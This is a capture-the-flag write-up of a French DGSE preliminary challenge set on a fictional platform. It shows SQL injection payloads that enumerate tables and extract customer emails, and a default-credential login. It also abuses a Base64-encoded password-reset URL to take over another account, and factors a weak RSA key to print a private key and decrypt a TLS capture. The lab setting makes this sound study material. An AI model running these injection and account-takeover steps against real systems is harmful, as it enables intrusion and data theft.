Writeup DGSE - preliminaries - web
In this article we will look at the first of the 4 preliminary challenges: web.
Introduction
Here is what Jeremy Nitel tells us.
J'ai récemment fait la découverte de la plateforme web d'un entrepôt basé à Evil Country.
Nous soupçonnons la plateforme d'être un lieu de transit pour des marchandises liées à l'opération de massacre des résistants
Retrouvez l'adresse mail du client que l'on puisse prouver les agissements d'Evil Gouv. Elle pourra vous être utile pour la prochaine épreuve.
Nous n'avons pas les identifiants, mais Stockos a connu plusieurs fuites de mots de passe et on ne peut pas dire qu'ils étaient originaux.
Voici le lien : /4e9033c6eacf38dc2a5df7a14526bec1
Je n'en doute pas, ah oui et j'allais oublier, l'Agent 32 est malade. Indigestion de blanquette, il est cloué au lit.
Vous le remplacez pour aller à Evil Country
Grace aux informations récupérées sur Stockos, trouvez un moyen de prendre votre billet sur le site d'AirEvil, unique compagnie aérienne qui s'y rend : /35e334a1ef338faf064da9eb5f861d3c.
Réservez le vol ABDJI6 du 26/10/2020 au 28/10/2020 de Bad City à Evil City. Pensez à prendre de la crème solaire, le soleil tape là-bas.
Une fois le billet récupéré envoyez moi la valeur du QRCode, ça devrait être de la forme : DGSESIEE{un_hash}
Start
So we have two URLs:
- Stockos.
- Evil Air or AirEvil (both names are mentioned).
It seems that the Stockos platform has experienced several password leaks and it cannot be said that they were original. The entry point seems to be this platform, here we go.
The first pair of username and password I try is admin:admin
, what luck! That’s it.
This platform displays a lot of information about the merchandise sent, the monthly objectives, disputes… There is also a stock management part. This part is interesting because we can do a search, search means SQL injection!
SQL injection
The first thing to test to know if a search field is vulnerable to SQL injection is to insert a quote that closes the executed query. This is not a generality (e.g. blind SQL injection do not show error), but it is already a fairly effective test.
Erreur : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' ORDER BY section ASC' at line 1
The UNION
keyword lets you execute one or more additional SELECT
queries and append the results to the original query.
SELECT a, b FROM table1 UNION SELECT c, d FROM table2
This SQL query will return a single result set with two columns, containing values from columns a
and b
in table1
and columns
c
and d
in table2
.
For a UNION
query to work, two key requirements must be met:
- The individual queries must return the same number of columns.
- The data types in each column must be compatible with the individual queries.
To carry out an SQL injection UNION
attack, you need to ensure that your attack meets these two requirements. It generally involves figuring out:
- How many columns are being returned from the original query.
- Which columns returned from the original query are of a suitable data type to hold the results from the injected query.
How to check column in table query
When performing an SQL injection UNION
attack, there are two effective methods to determine how many columns are being returned from the original query.
The first method involves injecting a serie of ORDER BY
clauses and incrementing the specified column index until an error occurs. For example, assuming the injection point is a quoted string within the WHERE
clause of the original query.
' ORDER BY 1#
' ORDER BY 2#
' ORDER BY 3#
This serie of payloads modify the original query to order the results by different columns in the result set. The column in an ORDER BY
clause can be specified by its index, so you don’t need to know the names of any column. When the specified column index exceeds the number of actual columns in the result set, the database returns an error.
You don’t see it but 5 columns are displayed, it means that if we want to do a SQL injection, we have to output 5 columns as well.
Extract information
Extract the data table from the current database.
1' and 1 = 2 union select 1, group_concat(table_name), 3, 4, 5 from information_schema.tables where table_schema = database()#
Response from the database.
customer,orders,section,supplier
Extract column name from customer
table.
1' and 1 = 2 union select 1, group_concat(column_name), 3, 4, 5 from information_schema.columns where table_schema = database() and table_name ='customer'#
Response from the database.
id,name,delivery_address,signup_date,email
Finally extract sensitive data from table customer.
1' and 1 = 2 union select 1, email, 3, 4, 5 from customer#
Response from the database (the one that interests us).
agent.malice@secret.evil.gov.ev
First step done, we have the bad guy’s e-mail address. We now need to book the flight, go to the Evil Air (or AirEvil) website.
Exploitation
Without being registered and logged in, there’s not much to see. Then I decided to create an account with a temporary e-mail address.
When you go to the account creation page, a big message is displayed:
NE PAS utiliser vos identifiants réels pour ce challenge !
Les mots de passe sont stockés en clair dans la BDD. Utilisez aussi une adresse mail temporaire.
I think this message has two purposes:
- To give an indication on how this application is made (password stored in clear text) so for the exploitation part it’s very useful.
- But also to warn people who could potentially put their real e-mail address or a password they use often (nobody normally does that).
Once the form has been sent, I receive an e-mail asking me to activate my account.
Prêt à voyager au pays des merveilles ?
Activez vôtre compte dès maintenant !
http://challengecybersec.fr/35e334a1ef338faf064da9eb5f861d3c/activate/bmVsaWs5OTkwMUBpZGNiaWxsLmNvbQ==
Vous avez jusqu'à Thu Nov 12 2020 02:52:38 GMT+0000 (Coordinated Universal Time) le faire
Little troll by the way, the people who set up these challenges were not recruited thanks to their spelling, it’s not the first time I see mistakes in the sentences or like here with vôtre
… Lovers of the French language will understand.
Let’s get back to the main topic: the first thing that jumps out at me is that I recognize Base64 encoded text at the end of the URL.
echo "bmVsaWs5OTkwMUBpZGNiaWxsLmNvbQ==" | base64 -d
nelik99901@idcbill.com
This is the e-mail address with which I registered. So I guess that’s how they work: to identify the user, his e-mail address is encoded in Base64. This is a very common practice but very bad in the case of a password reset. I don’t even try to book a flight I want to check right away if what I say is true.
Therefore, I request a password reset link by clicking on the forgotten password button.
Here’s what I get.
Vous recevez ce message car vous (ou quelqu'un d'autre) a demandé la reinitialisation de vore mot de passe
Merci de clicker sur le lien suivant ou de le coller dans votre navigateur pour terminer le processus de reinitialisation
http://challengecybersec.fr/35e334a1ef338faf064da9eb5f861d3c/reset/bmVsaWs5OTkwMUBpZGNiaWxsLmNvbQ==
Vous avez jusqu'à Invalid Date pour modifier votre mot de passe
Si vous n'avez pas demandé de reinitialisation, ignorez ce message
Oh, a new French word: clicker
…
My guess is good: to reset a password, the user is identified via his e-mail address encoded in Base64. What happens if we encode the e-mail address of the bad guy and we try to reset his password?
First, let’s request a password reset as we did with our e-mail address.
Then, let’s encode his e-mail address in Base64.
echo -n "agent.malice@secret.evil.gov.ev" | base64
YWdlbnQubWFsaWNlQHNlY3JldC5ldmlsLmdvdi5ldg==
I use the -n
flag to avoid linefeedback which causes a different encoding.
Finally, let’s build the URL.
https://challengecybersec.fr/35e334a1ef338faf064da9eb5f861d3c/reset/YWdlbnQubWFsaWNlQHNlY3JldC5ldmlsLmdvdi5ldg==
And now the magic of dirty development is at work.
Well, it doesn’t actually work exactly as I thought it would. I thought we were going to be able to change the password and then log in. That thought was actually dumb because when several people were doing it at the same time it would have been crazy. So this URL actually displays the password directly: Superlongpassword666
.
I manage to connect to the account, I go to the booking section and I can see the ABDJI6
ticket booked. A QR code is also available. This one is supposed to give us the flag, let’s have some fun.
First of all you need to download the image of the QR code.
curl -LOsSf https://challengecybersec.fr/35e334a1ef338faf064da9eb5f861d3c//faf40ada8b6dd5df1d8f2d3f5e112628/flag.png
file flag.png
flag.png: PNG image data, 300 x 300, 8-bit/color RGBA, non-interlaced
We need a tool to read QR code, the one I like is ZBar.
yay -S zbar
And finally, to read the information in this QR code.
zbarimg -q --raw flag.png
DGSESIEE{2cd992f9b2319860ce3a35db6673a9b8}
Boom we did it! Once this flag is sent to Jeremy Nittel, he kindly gives us a new challenge.
Cracking
Grace à vous on sait maintenant qu'Evil Gouv envisage d'utiliser du VX contre la résistance ! En plus de ça vous avez votre billet d'avion ! Vous êtes incroyable !
J'ai un dernier défi pour vous, des sources sur le terrain ont pu intercepter une communication de l'agent Satan. Il nous assure que cette transmission est à propos du convoi.
It seems that information has been exchanged between two people, the file he gives us is a network capture of this exchange.
First, let’s download this network capture.
curl -LOsSf https://www.challengecybersec.fr/chat/public/uploads/capture.pcap
Now, briefly analyze it.
tshark -rn capture.pcap
It seems to be some TLS exchange. The first thing that comes to my mind is to extract the certificate from the server.
tshark -nr capture.pcap -T fields -e tls.handshake.certificate | xxd -r -p | openssl x509 -inform DER -outform pem -out cert.crt
file cert.crt
cert.crt: PEM certificate
Great we have the certificate! So we can extract the public key from it.
openssl x509 -pubkey -noout -in cert.crt -out pubkey.pem
Now the serious business can start. The goal now is to recreate the private key from the information we have from the public key:
- the modulo (
n
) is the product of two prime numbers (p
andq
), - the public exponent (
e
) is the public key exponent.
Here is how to extract the modulo from our public key.
openssl rsa -pubin -in pubkey.pem -noout -modulus
Modulus=C2CBB24FDBF923B61268E3F11A3896DE4574B3BA58730CBD652938864E2223EEEB704A17CFD08D16B46891A61474759939C6E49AAFE7F2595548C74C1D7FB8D24CD15CB23B4CD0A3
And convert it to decimal format.
echo "ibase=16; C2CBB24FDBF923B61268E3F11A3896DE4574B3BA58730CBD652938864E2223EEEB704A17CFD08D16B46891A61474759939C6E49AAFE7F2595548C74C1D7FB8D24CD15CB23B4CD0A3" | bc
188198812920607963838697239461650439807163563379417382700763356422988859715234665485319060606504743045317388011303396716199692321205734031879550656996221305168759307650257059
It is possible to know the value of p
and q
by asking factordb.com to factorize our modulo.
We now have the value of p
and q
.
p = 398075086424064937397125500550386491199064362342526708406385189575946388957261768583317
q = 472772146107435302536223071973048224632914695302097116459852171130520711256363590397527
We’re just missing the public exponent.
openssl rsa -pubin -in pubkey.pem -noout -text
RSA Public-Key: (576 bit)
Modulus:
00:c2:cb:b2:4f:db:f9:23:b6:12:68:e3:f1:1a:38:
96:de:45:74:b3:ba:58:73:0c:bd:65:29:38:86:4e:
22:23:ee:eb:70:4a:17:cf:d0:8d:16:b4:68:91:a6:
14:74:75:99:39:c6:e4:9a:af:e7:f2:59:55:48:c7:
4c:1d:7f:b8:d2:4c:d1:5c:b2:3b:4c:d0:a3
Exponent: 65537 (0x10001)
As very often it is equal to 65537. I redirect you to this article to understand why.
We have everything we need to rebuild the private key. Although this step can be done by hand (with bc
and openssl
commands) we will use a great tool: RsaCtfTool.
git clone https://github.com/Ganapati/RsaCtfTool.git
cd RsaCtfTool
python -m pip install -r requirements.txt
If you have all the required dependencies, the following command is supposed to show you the help.
python RsaCtfTool.py
To rebuild the private key, the following arguments must be passed to it:
-p
: the first prime number,-q
: the second prime number,-n
: the modulo,-e
: the public exponent,--private
: display private key if recovered,--output
: output file for results.
python RsaCtfTool.py -p 398075086424064937397125500550386491199064362342526708406385189575946388957261768583317 -q 472772146107435302536223071973048224632914695302097116459852171130520711256363590397527 -n 188198812920607963838697239461650439807163563379417382700763356422988859715234665485319060606504743045317388011303396716199692321205734031879550656996221305168759307650257059 -e 65537 --private --output privkey.pem
Results for /tmp/tmpiqvdy__2:
Private key :
-----BEGIN RSA PRIVATE KEY-----
MIIBXwIBAAJJAMLLsk/b+SO2Emjj8Ro4lt5FdLO6WHMMvWUpOIZOIiPu63BKF8/Q
jRa0aJGmFHR1mTnG5Jqv5/JZVUjHTB1/uNJM0VyyO0zQowIDAQABAkgyAw5Cxp1O
d95+I5exPbouUvLFeiBfWXP+1vh2MvU8+IhmCf9j+hFOK13x22JJ+Orwv1+iatW4
5It/qwUNMvxXS0RuItCLp7ECJQDM6VRX8SfElUbleEECmsavcGBMZOgoEBisu1OC
M7tX83puaJUCJQDzXLgl8AM5bxHxSaWaD+c9tDFiyzBbjr/tpcqEC+JMU2tqrlcC
JQCjGt8+GQD0o3YJVc05i4W3RBYC+RcqPJXHeFyieRcYjP/ZPnkCJQDVUULBTl8l
KuzJWcrk/metuJNJi925g6lMwHSBxoD4cm7HtkUCJFqWTOzCIODw7eoypcJYjm2O
/ohEsSjEXsg6Bh8mY3LunBaqiA==
-----END RSA PRIVATE KEY-----
file privkey.pem
privkey.pem: PEM RSA private key
Without bad puns, we have all the keys in hand to decipher TLS exchanges. Let’s first grab IP addresses. I select straight away the TLS protocol and port 443 via -d tcp.port==443,tls
because I had retrieved this information via the first tshark
command.
tshark -r capture.pcap -d tcp.port==443,tls -2R "tls"
1 0.016353 192.168.29.8 → 192.168.29.7 TLSv1 583 Client Hello
2 0.017122 192.168.29.7 → 192.168.29.8 TLSv1 888 Server Hello, Certificate, Server Hello Done
3 0.018232 192.168.29.8 → 192.168.29.7 TLSv1 208 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
4 0.019318 192.168.29.7 → 192.168.29.8 TLSv1 125 Change Cipher Spec, Encrypted Handshake Message
5 0.019750 192.168.29.8 → 192.168.29.7 TLSv1 103 Encrypted Alert
6 0.020124 192.168.29.7 → 192.168.29.8 TLSv1 103 Encrypted Alert
7 4.366205 192.168.29.8 → 192.168.29.7 TLSv1 583 Client Hello
8 4.367242 192.168.29.7 → 192.168.29.8 TLSv1 888 Server Hello, Certificate, Server Hello Done
9 4.367878 192.168.29.8 → 192.168.29.7 TLSv1 208 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
10 4.369299 192.168.29.7 → 192.168.29.8 TLSv1 125 Change Cipher Spec, Encrypted Handshake Message
11 4.372935 192.168.29.8 → 192.168.29.7 TLSv1 103 Application Data
12 4.373028 192.168.29.8 → 192.168.29.7 TLSv1 567 Application Data
13 4.373588 192.168.29.7 → 192.168.29.8 TLSv1 604 Application Data, Application Data
14 4.392536 192.168.29.8 → 192.168.29.7 TLSv1 103 Application Data
15 4.392578 192.168.29.8 → 192.168.29.7 TLSv1 343 Application Data
16 4.393006 192.168.29.7 → 192.168.29.8 TLSv1 588 Application Data, Application Data
It’s between 192.168.29.8
and 192.168.29.7
so we can do the following thing.
tshark -r capture.pcap -d tcp.port==443,tls -2R "tls" -o "tls.keys_list:192.168.29.8,443,http,privkey.pem"
1 0.016353 192.168.29.8 → 192.168.29.7 TLSv1 583 Client Hello
2 0.017122 192.168.29.7 → 192.168.29.8 TLSv1 888 Server Hello, Certificate, Server Hello Done
3 0.018232 192.168.29.8 → 192.168.29.7 TLSv1 208 Client Key Exchange, Change Cipher Spec, Finished
4 0.019318 192.168.29.7 → 192.168.29.8 TLSv1 125 Change Cipher Spec, Finished
5 0.019750 192.168.29.8 → 192.168.29.7 TLSv1 103 Alert (Level: Fatal, Description: Bad Certificate)
6 0.020124 192.168.29.7 → 192.168.29.8 TLSv1 103 Alert (Level: Warning, Description: Close Notify)
7 4.366205 192.168.29.8 → 192.168.29.7 TLSv1 583 Client Hello
8 4.367242 192.168.29.7 → 192.168.29.8 TLSv1 888 Server Hello, Certificate, Server Hello Done
9 4.367878 192.168.29.8 → 192.168.29.7 TLSv1 208 Client Key Exchange, Change Cipher Spec, Finished
10 4.369299 192.168.29.7 → 192.168.29.8 TLSv1 125 Change Cipher Spec, Finished
11 4.372935 192.168.29.8 → 192.168.29.7 TLSv1 103 [TLS segment of a reassembled PDU]
12 4.373028 192.168.29.8 → 192.168.29.7 HTTP 567 POST /7a144cdc500b28e80cf760d60aca2ed3 HTTP/1.1 (application/x-www-form-urlencoded)
13 4.373588 192.168.29.7 → 192.168.29.8 HTTP 604 HTTP/1.1 404 Not Found (text/html)
14 4.392536 192.168.29.8 → 192.168.29.7 TLSv1 103 [TLS segment of a reassembled PDU]
15 4.392578 192.168.29.8 → 192.168.29.7 HTTP 343 GET /favicon.ico HTTP/1.1
16 4.393006 192.168.29.7 → 192.168.29.8 HTTP 588 HTTP/1.1 404 Not Found (text/html)
On the twelfth line, we clearly see an HTTP POST request on /7a144cdc500b28e80cf760d60aca2ed3
, which corresponds to the URL of the real CTF challenge.
As a reminder, there are 4 preliminary challenges and we have just finished the second one.
I decided to stop for the warm-up part. So I started the real CTF. The next articles will cover the challenges I managed to do.